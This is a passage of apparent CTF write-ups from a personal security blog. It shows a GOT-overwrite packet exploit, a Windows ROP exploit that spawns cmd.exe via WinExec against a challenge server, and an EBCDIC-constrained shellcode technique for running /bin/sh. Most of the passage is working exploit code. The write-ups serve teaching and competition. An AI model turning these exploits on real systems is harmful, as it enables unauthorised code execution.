<span class="n">payload</span> <span class="o">+=</span> <span class="n">p8</span><span class="p">(</span><span class="mh">0x0</span><span class="p">)</span><span class="o">*</span><span class="mi">5</span>
<span class="c1"># overwrite bitstring buf pointer with GOT of memcpy
</span><span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">elf</span><span class="p">.</span><span class="n">got</span><span class="p">[</span><span class="s">'memcpy'</span><span class="p">])</span>

<span class="n">payload</span> <span class="o">=</span> <span class="n">payload</span><span class="p">.</span><span class="n">ljust</span><span class="p">(</span><span class="n">get_overflow</span><span class="p">(</span><span class="mh">0x18</span><span class="p">),</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">)</span>

<span class="k">print</span><span class="p">(</span><span class="s">"elementLength: "</span><span class="p">,</span> <span class="n">get_overflow</span><span class="p">(</span><span class="mh">0x18</span><span class="p">))</span>

<span class="c1"># overwrite memcpy got entry with system PLT stub
</span><span class="n">payload2</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x4010e0</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x4011f0</span><span class="p">)</span>

<span class="c1">#payload = b"A"*get_overflow(0x18)
</span><span class="n">all_data</span> <span class="o">=</span> <span class="n">build_all_data</span><span class="p">(</span><span class="mi">248</span><span class="p">,</span><span class="n">payload</span><span class="p">,</span> <span class="n">payload2</span><span class="p">)</span>
<span class="n">goose</span> <span class="o">=</span> <span class="n">build_goose</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">all_data</span><span class="p">))</span>
<span class="n">pkt</span> <span class="o">=</span> <span class="n">combine_pkt</span><span class="p">(</span><span class="n">goose</span><span class="p">,</span> <span class="n">all_data</span><span class="p">)</span>
<span class="n">pkt</span> <span class="o">=</span> <span class="n">build_pkt</span><span class="p">(</span><span class="n">pkt</span><span class="p">)</span>
<span class="n">send_pkt</span><span class="p">(</span><span class="n">pkt</span><span class="p">)</span>

<span class="n">io</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<h2 id="console-application-sec">ConsoleApplication1</h2>
<p>ConsoleApplication1 was a windows pwn challenge. The source code for this challenge is very simple and small:</p>
<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;iostream&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
    <span class="kt">int64_t</span> <span class="n">val</span><span class="p">,</span> <span class="n">pos</span><span class="p">;</span>
    <span class="kt">int64_t</span><span class="o">*</span> <span class="n">ptr</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">val</span><span class="p">;</span>

    <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"Hello World!</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>

    <span class="k">while</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="n">std</span><span class="o">::</span><span class="n">string</span> <span class="n">cmd</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"Do?</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
        <span class="n">std</span><span class="o">::</span><span class="n">cin</span> <span class="o">&gt;&gt;</span> <span class="n">cmd</span><span class="p">;</span>

        <span class="k">switch</span> <span class="p">(</span><span class="n">cmd</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
        <span class="p">{</span>
        <span class="k">case</span> <span class="sc">'w'</span><span class="p">:</span>
            <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"pos: "</span><span class="p">;</span>
            <span class="n">std</span><span class="o">::</span><span class="n">cin</span> <span class="o">&gt;&gt;</span> <span class="n">pos</span><span class="p">;</span>
            <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"val: "</span><span class="p">;</span>
            <span class="n">std</span><span class="o">::</span><span class="n">cin</span> <span class="o">&gt;&gt;</span> <span class="n">val</span><span class="p">;</span>
            <span class="n">ptr</span><span class="p">[</span><span class="n">pos</span><span class="p">]</span> <span class="o">=</span> <span class="n">val</span><span class="p">;</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="k">case</span> <span class="sc">'r'</span><span class="p">:</span>
            <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="s">"pos: "</span><span class="p">;</span>
            <span class="n">std</span><span class="o">::</span><span class="n">cin</span> <span class="o">&gt;&gt;</span> <span class="n">pos</span><span class="p">;</span>
            <span class="n">std</span><span class="o">::</span><span class="n">cout</span> <span class="o">&lt;&lt;</span> <span class="n">ptr</span><span class="p">[</span><span class="n">pos</span><span class="p">]</span> <span class="o">&lt;&lt;</span> <span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">;</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="nl">default:</span>
            <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
        <span class="p">}</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>As can be seen, we can read and write at arbitrary offsets of a variable on the stack. My approach was to build a rop chain and execute <code class="language-plaintext highlighter-rouge">winexec("cmd.exe")</code>. For the address of the <code class="language-plaintext highlighter-rouge">cmd.exe</code> string and a <code class="language-plaintext highlighter-rouge">ret</code> gadget I leaked the address of <code class="language-plaintext highlighter-rouge">ucrtbase.dll</code> from the stack and for the address of <code class="language-plaintext highlighter-rouge">winexec</code> and a <code class="language-plaintext highlighter-rouge">pop rcx; ret</code> gadget I leaked the address of <code class="language-plaintext highlighter-rouge">kernel32.dll</code> also from the stack.</p>

<p>The hardest part of this challenge for me was to find the correct remote offset of <code class="language-plaintext highlighter-rouge">ucrtbase.dll</code> as there is no simple way like <code class="language-plaintext highlighter-rouge">LD_PRELOAD</code> on Linux to preload a library :P</p>

<h3 id="exploit-4">Exploit</h3>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwintools</span> <span class="kn">import</span> <span class="o">*</span>

<span class="n">DEBUG</span> <span class="o">=</span> <span class="bp">False</span>
<span class="k">if</span> <span class="n">DEBUG</span><span class="p">:</span>
	<span class="n">io</span> <span class="o">=</span> <span class="n">Process</span><span class="p">([</span><span class="sa">b</span><span class="s">"AppJailLauncher.exe"</span><span class="p">,</span> <span class="sa">b</span><span class="s">'/nojail'</span><span class="p">,</span> <span class="sa">b</span><span class="s">'/port:4444'</span><span class="p">,</span> <span class="sa">b</span><span class="s">'ConsoleApplication1.exe'</span><span class="p">])</span> <span class="c1"># Spawn chall.exe process
</span>	<span class="n">r</span> <span class="o">=</span> <span class="n">Remote</span><span class="p">(</span><span class="s">"127.0.0.1"</span><span class="p">,</span> <span class="mi">4444</span><span class="p">)</span>
	<span class="c1">#r.spawn_debugger(breakin=False)
</span>	<span class="c1">#log.info("WinExec @ 0x{:x}".format(r.symbols['kernel32.dll']['WinExec']))
</span><span class="k">else</span><span class="p">:</span>
	<span class="n">r</span> <span class="o">=</span> <span class="n">Remote</span><span class="p">(</span><span class="s">"34.79.30.147"</span><span class="p">,</span> <span class="mi">4444</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">leak</span><span class="p">(</span><span class="n">off</span><span class="p">):</span>
	<span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"Do?"</span><span class="p">)</span>
	<span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">"r"</span><span class="p">)</span>
	<span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"pos:"</span><span class="p">)</span>
	<span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">off</span><span class="p">).</span><span class="n">encode</span><span class="p">())</span>

<span class="k">def</span> <span class="nf">write</span><span class="p">(</span><span class="n">off</span><span class="p">,</span> <span class="n">val</span><span class="p">):</span>
	<span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"Do?"</span><span class="p">)</span>
	<span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">"w"</span><span class="p">)</span>
	<span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"pos:"</span><span class="p">)</span>
	<span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">off</span><span class="p">).</span><span class="n">encode</span><span class="p">())</span>
	<span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"val:"</span><span class="p">)</span>
	<span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">val</span><span class="p">).</span><span class="n">encode</span><span class="p">())</span>


<span class="s">'''
approach: call winexec("cmd.exe")

chain:
	pop rcx, ret
	&lt;cmd.exe string in ucrtbase&gt;
	ret (stack alignment)
	winexec
'''</span>

<span class="n">leak</span><span class="p">(</span><span class="mh">0x10</span><span class="p">)</span>
<span class="n">kernel32</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">r</span><span class="p">.</span><span class="n">recvline</span><span class="p">())</span>

<span class="k">print</span><span class="p">(</span><span class="s">"kernel32 leak ? "</span><span class="p">,</span> <span class="nb">hex</span><span class="p">(</span><span class="n">kernel32</span><span class="p">))</span>

<span class="k">if</span> <span class="n">DEBUG</span><span class="p">:</span>
	<span class="n">kernel32</span> <span class="o">-=</span> <span class="mh">0x17614</span>
<span class="k">else</span><span class="p">:</span>
	<span class="n">kernel32</span> <span class="o">-=</span> <span class="mh">0x14de0</span>

<span class="k">print</span><span class="p">(</span><span class="s">"kernel32: "</span><span class="p">,</span> <span class="nb">hex</span><span class="p">(</span><span class="n">kernel32</span><span class="p">))</span>

<span class="n">leak</span><span class="p">(</span><span class="mh">0x8</span><span class="p">)</span>
<span class="n">binary</span> <span class="o">=</span>  <span class="nb">int</span><span class="p">(</span><span class="n">r</span><span class="p">.</span><span class="n">recvline</span><span class="p">())</span>
<span class="k">print</span><span class="p">(</span><span class="s">"binary: "</span><span class="p">,</span> <span class="nb">hex</span><span class="p">(</span><span class="n">binary</span><span class="p">))</span>

<span class="k">if</span> <span class="n">DEBUG</span><span class="p">:</span>
	<span class="n">leak</span><span class="p">(</span><span class="o">-</span><span class="mi">46</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
	<span class="n">leak</span><span class="p">(</span><span class="o">-</span><span class="mi">130</span><span class="p">)</span>
<span class="n">ucrtbase</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">r</span><span class="p">.</span><span class="n">recvline</span><span class="p">())</span>

<span class="k">print</span><span class="p">(</span><span class="s">"ucrtbase leak ?"</span><span class="p">,</span> <span class="nb">hex</span><span class="p">(</span><span class="n">ucrtbase</span><span class="p">))</span>

<span class="k">if</span> <span class="n">DEBUG</span><span class="p">:</span>
	<span class="n">ucrtbase</span> <span class="o">=</span> <span class="n">ucrtbase</span> <span class="o">-</span> <span class="mh">0xef4e8</span>
<span class="k">else</span><span class="p">:</span>
	<span class="n">ucrtbase</span> <span class="o">=</span> <span class="n">ucrtbase</span> <span class="o">-</span> <span class="mh">0x78c7</span>

<span class="k">if</span> <span class="n">DEBUG</span><span class="p">:</span>
	<span class="n">cmd_str</span> <span class="o">=</span> <span class="n">ucrtbase</span> <span class="o">+</span> <span class="mh">0xd0cb0</span>
	<span class="n">ret</span> <span class="o">=</span> <span class="n">kernel32</span> <span class="o">+</span> <span class="mh">0x1051</span>
	<span class="n">pop_rcx_ret</span> <span class="o">=</span> <span class="n">ucrtbase</span> <span class="o">+</span> <span class="mh">0x2aa80</span>
	<span class="n">winexec</span> <span class="o">=</span> <span class="n">io</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'kernel32.dll'</span><span class="p">][</span><span class="s">'WinExec'</span><span class="p">]</span>
<span class="k">else</span><span class="p">:</span>
	<span class="n">cmd_str</span> <span class="o">=</span> <span class="n">ucrtbase</span> <span class="o">+</span> <span class="mh">0xdefd0</span>
	<span class="n">pop_rcx_ret</span> <span class="o">=</span> <span class="n">ucrtbase</span> <span class="o">+</span> <span class="mh">0x2ef50</span>
	<span class="n">ret</span> <span class="o">=</span> <span class="n">ucrtbase</span> <span class="o">+</span> <span class="mh">0x1037</span>
	<span class="n">winexec</span> <span class="o">=</span> <span class="n">kernel32</span> <span class="o">+</span> <span class="mh">0x1280</span>

<span class="n">pop_rdx_ret4</span> <span class="o">=</span> <span class="n">kernel32</span> <span class="o">+</span> <span class="mh">0x68812</span>

<span class="k">print</span><span class="p">(</span><span class="s">"Pop rcx_ret: "</span><span class="p">,</span> <span class="nb">hex</span><span class="p">(</span><span class="n">pop_rcx_ret</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Pop rdx_ret4: "</span><span class="p">,</span> <span class="nb">hex</span><span class="p">(</span><span class="n">pop_rdx_ret4</span><span class="p">))</span>

<span class="k">print</span><span class="p">(</span><span class="s">"ucrtbase: "</span><span class="p">,</span> <span class="nb">hex</span><span class="p">(</span><span class="n">ucrtbase</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="s">"cmd.exe string: "</span><span class="p">,</span> <span class="nb">hex</span><span class="p">(</span><span class="n">cmd_str</span><span class="p">))</span>

<span class="s">'''
for i in range(-200, 0):
	leak(i)
	l =  int(r.recvline())
	print("leak: ", hex(l),  i)
'''</span>

<span class="c1"># 33 , 34
</span><span class="n">write</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="n">pop_rcx_ret</span><span class="p">)</span>
<span class="n">write</span><span class="p">(</span><span class="mi">9</span><span class="p">,</span> <span class="n">cmd_str</span><span class="p">)</span>
<span class="n">write</span><span class="p">(</span><span class="mi">10</span><span class="p">,</span> <span class="n">ret</span><span class="p">)</span>
<span class="n">write</span><span class="p">(</span><span class="mi">11</span><span class="p">,</span> <span class="n">winexec</span><span class="p">)</span>
<span class="n">write</span><span class="p">(</span><span class="mi">12</span><span class="p">,</span> <span class="n">winexec</span><span class="p">)</span>

<span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"Do?"</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">"1"</span><span class="p">)</span>

<span class="n">r</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>]]></content><author><name>H0ps</name></author><category term="cybersecurity" /><summary type="html"><![CDATA[Over the past month, I participated in the qualifying rounds of the Cyber Security Challenge Germany (CSCG), which is part of the European Cyber Security Challenge (ECSC). This CTF event includes two age categories: junior (14-20) and senior (21-25). Participants compete to secure a spot in the German final, with the top 11 players from each age group qualifying. Ultimately, the top 5 players from each age group in the final form a team to represent Germany in the ECSC challenge.]]></summary></entry><entry><title type="html">MapleCTF 2022</title><link href="https://ollrogge.github.io/cybersecurity/2022/08/31/MapleCTF2022.html" rel="alternate" type="text/html" title="MapleCTF 2022" /><published>2022-08-31T00:00:00+00:00</published><updated>2022-08-31T00:00:00+00:00</updated><id>https://ollrogge.github.io/cybersecurity/2022/08/31/MapleCTF2022</id><content type="html" xml:base="https://ollrogge.github.io/cybersecurity/2022/08/31/MapleCTF2022.html"><![CDATA[<p>Last weekend I played <a href="https://ctftime.org/event/1676">MapleCTF</a> with <a href="https://twitter.com/ARESxCyber">ARESx</a>. For this event we teamed up with <a href="https://ctftime.org/team/182292">RCX</a> and played as RCX/ARESx.
Overall this CTF went very well as we managed to get 8th place :)</p>

<p>I didn’t have that much time to play and therefore only looked at one pwn challenge named <code class="language-plaintext highlighter-rouge">EBCSIC</code>.</p>

<h2 id="ebcsic">EBCSIC</h2>
<p>EBCSIC was a shellcoding challenge based on the Extended Binary Coded Decimal Interchange Code (EBCSIC).
The challenge consisted of a single <code class="language-plaintext highlighter-rouge">chal.py</code> file:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python3
</span><span class="kn">import</span> <span class="nn">string</span>
<span class="kn">import</span> <span class="nn">ctypes</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">sys</span>
<span class="kn">import</span> <span class="nn">subprocess</span>

<span class="n">ok_chars</span> <span class="o">=</span> <span class="n">string</span><span class="p">.</span><span class="n">ascii_uppercase</span> <span class="o">+</span> <span class="n">string</span><span class="p">.</span><span class="n">digits</span>
<span class="n">elf_header</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="s">"7F454C46010101000000000000000000020003000100000000800408340000000000000000000000340020000200280000000000010000000010000000800408008004080010000000000100070000000000000051E5746400000000000000000000000000000000000000000600000004000000"</span><span class="p">)</span>

<span class="k">print</span><span class="p">(</span><span class="s">"Welcome to EBCSIC!"</span><span class="p">)</span>
<span class="n">sc</span> <span class="o">=</span> <span class="nb">input</span><span class="p">(</span><span class="s">"Enter your alphanumeric shellcode: "</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">sc</span><span class="p">)</span>
<span class="k">try</span><span class="p">:</span>
    <span class="k">assert</span> <span class="nb">all</span><span class="p">(</span><span class="n">c</span> <span class="ow">in</span> <span class="n">ok_chars</span> <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">sc</span><span class="p">)</span>
    <span class="n">sc_raw</span> <span class="o">=</span> <span class="n">sc</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="s">"cp037"</span><span class="p">)</span>
    <span class="k">assert</span> <span class="nb">len</span><span class="p">(</span><span class="n">sc_raw</span><span class="p">)</span> <span class="o">&lt;=</span> <span class="mi">4096</span>
<span class="k">except</span> <span class="nb">Exception</span> <span class="k">as</span> <span class="n">e</span><span class="p">:</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"Sorry, that shellcode is not acceptable."</span><span class="p">)</span>
    <span class="nb">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>

<span class="k">print</span><span class="p">(</span><span class="s">"Looks good! Let's try your shellcode..."</span><span class="p">)</span>
<span class="n">sys</span><span class="p">.</span><span class="n">stdout</span><span class="p">.</span><span class="n">flush</span><span class="p">()</span>

<span class="n">memfd_create</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">CDLL</span><span class="p">(</span><span class="s">"libc.so.6"</span><span class="p">).</span><span class="n">memfd_create</span>
<span class="n">memfd_create</span><span class="p">.</span><span class="n">argtypes</span> <span class="o">=</span> <span class="p">[</span><span class="n">ctypes</span><span class="p">.</span><span class="n">c_char_p</span><span class="p">,</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_int</span><span class="p">]</span>
<span class="n">memfd_create</span><span class="p">.</span><span class="n">restype</span> <span class="o">=</span> <span class="n">ctypes</span><span class="p">.</span><span class="n">c_int</span>

<span class="n">fd</span> <span class="o">=</span> <span class="n">memfd_create</span><span class="p">(</span><span class="sa">b</span><span class="s">"prog"</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">os</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">elf_header</span><span class="p">)</span>
<span class="n">os</span><span class="p">.</span><span class="n">lseek</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="mi">4096</span><span class="p">,</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">os</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">sc_raw</span><span class="p">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">4096</span><span class="p">,</span> <span class="sa">b</span><span class="s">"</span><span class="se">\xf4</span><span class="s">"</span><span class="p">))</span>
<span class="n">os</span><span class="p">.</span><span class="n">execle</span><span class="p">(</span><span class="s">"/proc/self/fd/%d"</span> <span class="o">%</span> <span class="n">fd</span><span class="p">,</span> <span class="s">"prog"</span><span class="p">,</span> <span class="p">{})</span>
</code></pre></div></div>
<p>As can be seen, the challenge lets us input up to 4096 characters which need to be either uppercase ASCII (A-Z) or digits (0-9). It then encodes the input into EBCDIC, creates an in memory ELF, writes the encoded input into the <code class="language-plaintext highlighter-rouge">_start</code> function of the ELF and runs it.</p>

<p>Encoding the allowed characters we end up with the bytes <code class="language-plaintext highlighter-rouge">\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9</code>. These are all the bytes we can use to build our shellcode. Looking at the opcodes we can quickly see that we won’t be able to write a <code class="language-plaintext highlighter-rouge">execve("/bin/sh", 0, 0)</code> shellcode by just using these opcodes. We therefore need a different way to build our shellcode.</p>

<p>To make debugging easier we can add <code class="language-plaintext highlighter-rouge">ö</code> to the allowed characters which will allow us to add an <code class="language-plaintext highlighter-rouge">int3</code> instruction for debugging purposes. Simply running the binary with a single breakpoint we can see the following memory layout:</p>

<p><img src="/assets/maple2022-mem-layout.png" alt="Memory layout" /></p>

<p>There are two regions mapped <code class="language-plaintext highlighter-rouge">rwx</code>. The first region contains our shellcode, the second is empty. The binary does not have PIE, thefore the addresses of the first two regions are static won’t be different on the challenge server.</p>

<p>Based on the memory layout and the available opcodes our exploitation plan is to find a way to write arbitrary values to memory (our <code class="language-plaintext highlighter-rouge">/bin/sh</code> shellcode) and then return to it.</p>

<h3 id="getting-arbitrary-values-into-a-register">Getting arbitrary values into a register</h3>
<p>Before writing anything to memory we need to get arbitrary values into a register. To do this we can use a combination of <code class="language-plaintext highlighter-rouge">not</code> and <code class="language-plaintext highlighter-rouge">shl</code> operations. To set a bit in the register while not losing its contents we <code class="language-plaintext highlighter-rouge">not</code> the register, <code class="language-plaintext highlighter-rouge">shl</code> by 1 and then <code class="language-plaintext highlighter-rouge">not</code> it again. Based on this we can write the following function which puts arbitrary values into <code class="language-plaintext highlighter-rouge">ebp</code> for us:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">encode_addr</span><span class="p">(</span><span class="n">addr</span><span class="p">):</span>
    <span class="n">sc</span> <span class="o">=</span> <span class="sa">b</span><span class="s">""</span>
    <span class="n">bits_set</span> <span class="o">=</span> <span class="p">[</span><span class="bp">False</span><span class="p">]</span> <span class="o">*</span> <span class="mh">0x20</span>
    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0x20</span><span class="p">):</span>
        <span class="n">num</span> <span class="o">=</span> <span class="mi">1</span> <span class="o">&lt;&lt;</span> <span class="n">i</span>
        <span class="k">if</span> <span class="n">addr</span> <span class="o">&amp;</span> <span class="n">num</span><span class="p">:</span>
            <span class="n">bits_set</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="bp">True</span>

    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">reversed</span><span class="p">(</span><span class="nb">range</span><span class="p">(</span><span class="mh">0x20</span><span class="p">)):</span>
        <span class="k">if</span> <span class="n">bits_set</span><span class="p">[</span><span class="n">i</span><span class="p">]:</span>
            <span class="n">sc</span> <span class="o">+=</span> <span class="n">asm</span><span class="p">(</span><span class="s">"not ebp"</span><span class="p">)</span>
            <span class="n">sc</span> <span class="o">+=</span> <span class="n">asm</span><span class="p">(</span><span class="s">"shl ebp"</span><span class="p">)</span>
            <span class="n">sc</span> <span class="o">+=</span> <span class="n">asm</span><span class="p">(</span><span class="s">"not ebp"</span><span class="p">)</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="n">sc</span> <span class="o">+=</span> <span class="n">asm</span><span class="p">(</span><span class="s">"shl ebp"</span><span class="p">)</span>

    <span class="k">return</span> <span class="n">sc</span>
</code></pre></div></div>

<h3 id="writing-to-memory">Writing to memory</h3>
<p>Having the ability to get arbitrary values into a register we can now focus on finding a way to write to memory. For this we can use the <code class="language-plaintext highlighter-rouge">enter</code> instruction which pushes <code class="language-plaintext highlighter-rouge">ebp</code> onto the stack. We combine this with the <code class="language-plaintext highlighter-rouge">leave</code> instruction to set esp to arbitrary values. Based on this we can write a function that writes 32 bit values to an arbitrary addresses:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">change_esp</span><span class="p">(</span><span class="n">addr</span><span class="p">):</span>
    <span class="n">sc</span> <span class="o">=</span> <span class="sa">b</span><span class="s">""</span>
    <span class="n">sc</span> <span class="o">+=</span> <span class="n">encode_addr</span><span class="p">(</span><span class="n">addr</span><span class="p">)</span>
    <span class="n">sc</span> <span class="o">+=</span> <span class="n">asm</span><span class="p">(</span><span class="s">"leave"</span><span class="p">)</span>

    <span class="k">return</span> <span class="n">sc</span>

<span class="k">def</span> <span class="nf">write_dword</span><span class="p">(</span><span class="n">val</span><span class="p">,</span> <span class="n">off</span><span class="p">):</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"Write: "</span><span class="p">,</span> <span class="nb">hex</span><span class="p">(</span><span class="n">val</span><span class="p">))</span>
    <span class="n">sc</span> <span class="o">=</span> <span class="sa">b</span><span class="s">""</span>
    <span class="c1"># prevent segfault
</span>    <span class="n">sc</span> <span class="o">+=</span> <span class="n">change_esp</span><span class="p">(</span><span class="mh">0x8058000</span> <span class="o">-</span> <span class="n">off</span><span class="p">)</span>
    <span class="n">sc</span> <span class="o">+=</span> <span class="n">encode_addr</span><span class="p">(</span><span class="n">val</span><span class="p">)</span>
    <span class="n">sc</span> <span class="o">+=</span> <span class="n">asm</span><span class="p">(</span><span class="s">"enter 0xc1c1, 0xc1"</span><span class="p">)</span>

    <span class="k">return</span> <span class="n">sc</span>
</code></pre></div></div>
<p>Since we are limited in the bytes we can send we have to use high values as operands to the <code class="language-plaintext highlighter-rouge">enter</code> instruction. Due to this we need to be aware of two things:</p>
<ol>
  <li>We have to make sure that <code class="language-plaintext highlighter-rouge">esp - operand1</code> is a valid address, else <code class="language-plaintext highlighter-rouge">enter</code> will segfault.</li>
  <li>Due to the nesting level being &gt; 0 (second operand) <code class="language-plaintext highlighter-rouge">enter</code> will push additional values onto the stack before pushing <code class="language-plaintext highlighter-rouge">ebp</code> which contains our arbitrary value.</li>
</ol>

<p>In order to prevent the segfault we can chose an address somewhere in the <code class="language-plaintext highlighter-rouge">rwx</code> memory region which is far enough away from unmapped regions. To deal with <code class="language-plaintext highlighter-rouge">enter</code> pushing additional values onto the stack we have to write our shellcode in reverse since otherwise the additional <code class="language-plaintext highlighter-rouge">push</code> instructions would destroy some of the values we have already pushed.</p>

<p>Being able to write arbitrary values into arbitrary memory locations we can now simply write an <code class="language-plaintext highlighter-rouge">execve("/bin/sh", 0, 0)</code> shellcode somewhere and return to it.</p>

<h3 id="final-exploit">Final exploit</h3>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 127.0.0.1 --port 4000
</span>
<span class="c1"># dont forget to: patchelf --set-interpreter /tmp/ld-2.27.so ./test
# dont forget to set conext.arch. E.g amd64
</span>
<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">import</span> <span class="nn">string</span>

<span class="c1"># Set up pwntools for the correct architecture
</span><span class="n">context</span><span class="p">.</span><span class="n">update</span><span class="p">(</span><span class="n">arch</span><span class="o">=</span><span class="s">'i386'</span><span class="p">)</span>
<span class="n">exe</span> <span class="o">=</span> <span class="s">'python3'</span>
<span class="n">context</span><span class="p">.</span><span class="n">terminal</span> <span class="o">=</span> <span class="p">[</span><span class="s">'tmux'</span><span class="p">,</span> <span class="s">'new-window'</span><span class="p">]</span>
<span class="n">argv</span> <span class="o">=</span> <span class="p">[</span><span class="s">"chal.py"</span><span class="p">]</span>
<span class="n">env</span> <span class="o">=</span> <span class="p">{}</span>

<span class="c1"># Many built-in settings can be controlled on the command-line and show up
# in "args".  For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
</span><span class="n">host</span> <span class="o">=</span> <span class="n">args</span><span class="p">.</span><span class="n">HOST</span> <span class="ow">or</span> <span class="s">'127.0.0.1'</span>
<span class="n">port</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">args</span><span class="p">.</span><span class="n">PORT</span> <span class="ow">or</span> <span class="mi">4000</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">local</span><span class="p">(</span><span class="n">argv</span><span class="o">=</span><span class="p">[],</span> <span class="o">*</span><span class="n">a</span><span class="p">,</span> <span class="o">**</span><span class="n">kw</span><span class="p">):</span>
    <span class="s">'''Execute the target binary locally'''</span>
    <span class="k">if</span> <span class="n">args</span><span class="p">.</span><span class="n">GDB</span><span class="p">:</span>
